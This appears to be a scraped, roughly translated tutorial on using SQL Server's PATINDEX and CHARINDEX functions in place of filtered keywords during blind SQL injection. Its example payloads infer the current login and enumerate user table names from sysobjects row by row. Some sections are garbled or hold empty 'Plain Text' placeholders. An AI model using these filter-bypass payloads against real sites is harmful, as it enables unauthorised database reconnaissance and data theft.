-->

Introduction to SQL Server Function to Perform Fuzzy Search



Summary 

it is normal to filter data on a daily site. This method applies to filtering like, if, CASE, in other words, the injection does not work properly, but the page does not show back.
 
Replacement Method
Description
PATINDEX('%pattern%', expression)
returns the position where the pattern string first appears in the expression. The starting value starts from 1. , 0 is not returned

this function is highly consistent with like and can be the same as like
use_% [] [^] search for wildcards

CHARINDEX('pattern', expression)

returns the position where the pattern string first appears in the expression. The starting value starts from 1. , 0 is not returned

Test Data


Plain Text


Plain Text


Plain Text

PATINDEX()

Inquire user

SQL:select 'test' where patindex('%sa%', system_user)>=1;


Query Table Name

note:
The name in OVER(Order by table_name) should be changed to a field in the test.dbo.sysobjects table
Querying different libraries can be done like this

For example, there are now test libraries and test2 libraries. Then you can call like this
  • test.dbo.sysobjects
  • test2.dbo.sysobjects
Querying different tables can be done like this
E.g:
  • Modify row_number>=1
  • Modify row_number>=2
Notice:
  • XType='U' means to get all user tables of a database;
  • XType='S' means to get all system tables of a database;
For example, now the query is the table name of the test library

SQL:select 'test' where patindex('%article%', (select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType='U') as a where row_number=1))>=1




CHARINDEX()

query user

SQL:select 'test' where charindex('s', system_user)>=1



query table name

SQL:select 'test' where charindex('ar', (select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType='U') as a where row_number=1))>=1